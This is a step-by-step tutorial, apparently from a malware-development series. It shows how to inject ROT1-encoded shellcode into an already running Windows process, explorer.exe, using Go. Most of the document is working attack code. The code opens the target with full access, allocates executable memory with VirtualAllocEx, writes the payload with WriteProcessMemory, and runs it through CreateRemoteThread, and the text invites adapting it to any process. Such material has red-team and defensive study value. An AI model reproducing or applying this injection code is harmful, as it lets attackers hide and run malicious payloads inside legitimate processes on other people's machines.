Inject shellcode in the memory of a currently running process

Introduction

In this tutorial, we will demonstrate how to inject shellcode into the memory of an already running process on a Windows system. Instead of creating a new process in a suspended state, this method targets a live process, allocates memory within it, writes the shellcode to the allocated memory, and executes it using a remote thread.

We will use the Windows API to implement the entire workflow. The example below targets the explorer.exe process for simplicity. However, this can be adapted to any process you wish to manipulate.

For simplicity purposes we stilll use our ROT1 encoded shellcode and the same encryption and decryption process, i also assume you define your process name by yourself in the code as previously described.

Step-by-step breakdown

1. Define PROCESS_ALL_ACCESS manually

As the PROCESS_ALL_ACCESS flag isn't defined in the golang.org/x/sys/windows we first need to define it manually in the code.

const PROCESS_ALL_ACCESS = 0x1F0FFF

2. Find the Target Process

To manipulate a process, you first need its handle. This is achieved using the CreateToolhelp32Snapshot function to enumerate running processes and OpenProcess to obtain the handle of the desired one.

Key Points:

  • Use the PROCESS_ALL_ACCESS permission to gain full control over the target process.

  • Search for processes by name (e.g., explorer.exe).

func findProcessByName(processName string) (windows.Handle, error) {
    snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
    if err != nil {
        return 0, fmt.Errorf("failed to create process snapshot: %v", err)
    }
    defer windows.CloseHandle(snapshot)

    var processEntry windows.ProcessEntry32
    processEntry.Size = uint32(unsafe.Sizeof(processEntry))

    for {
        err = windows.Process32Next(snapshot, &processEntry)
        if err != nil {
            if err == windows.ERROR_NO_MORE_FILES {
                break
            }
            return 0, fmt.Errorf("failed to get next process: %v", err)
        }

        if syscall.UTF16ToString(processEntry.ExeFile[:]) == processName {
            handle, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, processEntry.ProcessID)
            if err != nil {
                return 0, fmt.Errorf("failed to open process %s: %v", processName, err)
            }
            return handle, nil
        }
    }
    return 0, fmt.Errorf("process %s not found", processName)
}

3. Allocate Memory in the Target Process

Once you have the process handle, allocate memory within the target process using VirtualAllocEx. This function reserves and commits a memory region with PAGE_EXECUTE_READWRITE permissions.

Key Parameters:

  • Process handle: Handle to the target process.

  • Memory size: The size of the shellcode to inject.

  • Protection Flags: Use PAGE_EXECUTE_READWRITE to allow execution.

VirtualAllocEx := windows.NewLazySystemDLL("kernel32.dll").NewProc("VirtualAllocEx")
addr, _, err := VirtualAllocEx.Call(
    uintptr(processHandle),
    0,                                      // NULL address, let the system choose
    uintptr(len(encodedShellcode)),         // Size of the memory to allocate
    windows.MEM_COMMIT|windows.MEM_RESERVE, // Memory type
    windows.PAGE_EXECUTE_READWRITE,         // Memory protection
)
if addr == 0 {
    fmt.Printf("VirtualAllocEx failed: %v\n", err)
    return
}
fmt.Printf("Memory allocated at address: 0x%X\n", addr)

4. Write Shellcode to Allocated Memory

With memory allocated, write the shellcode into it using WriteProcessMemory. This API function allows you to copy data into the memory space of another process.

Key Parameters:

  • Process handle: Handle to the target process.

  • Target address: The memory address returned by VirtualAllocEx.

  • Shellcode: Our decoded shellcode to inject.

var numBytesWritten uintptr
err = windows.WriteProcessMemory(
    processHandle,
    addr,
    &encodedShellcode[0],
    uintptr(len(encodedShellcode)),
    &numBytesWritten,
)
if err != nil {
    fmt.Printf("WriteProcessMemory failed: %v\n", err)
    return
}

5. Execute Shellcode via Remote Thread

Finally, execute the shellcode by creating a new thread in the target process using CreateRemoteThread. This function allows you to run code at a specified memory address within the target process.

Key Parameters:

  • Start address: The address of the injected shellcode.

  • Thread creation flags: Set to 0 for immediate execution.

CreateRemoteThread := windows.NewLazySystemDLL("kernel32.dll").NewProc("CreateRemoteThread")
_, _, err = CreateRemoteThread.Call(
    uintptr(processHandle),
    0,
    0,
    addr,
    0,
    0,
    0,
)
if err != nil {
    fmt.Printf("CreateRemoteThread failed: %v\n", err)
    return
}
fmt.Println("Shellcode injected and executed successfully.")

Result

As a result of all of theses operations, we succeed at our final goal, make an already running explorer.exe execute our shellcode, as demonstrated here:

Conclusion

In this article we succeed to do the following:

  • Find the Target Process: Locate the desired process by name and retrieve its process handle. (explorer.exe in our case, beacause we know it is always running on a windows computer.)

  • Allocate Memory: Use VirtualAllocEx to reserve and commit memory in the target process.

  • Write Shellcode: Copy the shellcode into the allocated memory space using WriteProcessMemory.

  • Execute Shellcode: Start a remote thread in the target process at the shellcode's memory address using CreateRemoteThread.

The full code is available here.

Last updated